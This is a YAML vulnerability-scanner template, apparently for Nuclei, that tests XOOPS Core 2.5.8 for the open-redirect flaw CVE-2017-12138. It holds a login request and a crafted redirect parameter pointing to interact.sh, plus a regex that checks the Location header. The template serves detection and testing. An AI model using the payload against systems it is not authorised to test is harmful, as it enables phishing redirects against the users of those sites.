38 lines
1.2 KiB
YAML
38 lines
1.2 KiB
YAML
id: CVE-2017-12138
|
|
|
|
info:
|
|
name: XOOPS Core 2.5.8 - Open Redirect
|
|
author: 0x_Akoko
|
|
severity: medium
|
|
description: XOOPS Core 2.5.8 has a stored URL redirect bypass vulnerability in /modules/profile/index.php because of the URL filter.
|
|
reference:
|
|
- https://github.com/XOOPS/XoopsCore25/issues/523
|
|
- https://xoops.org
|
|
- https://www.cvedetails.com/cve/CVE-2017-12138
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2017-12138
|
|
cwe-id: CWE-601
|
|
tags: cve,cve2017,redirect,xoops,authenticated
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /user.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
uname={{username}}&pass={{password}}&xoops_redirect=%2Findex.php&op=login
|
|
|
|
- |
|
|
GET /modules/profile/index.php?op=main&xoops_redirect=https:www.interact.sh HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: regex
|
|
part: header
|
|
regex:
|
|
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
|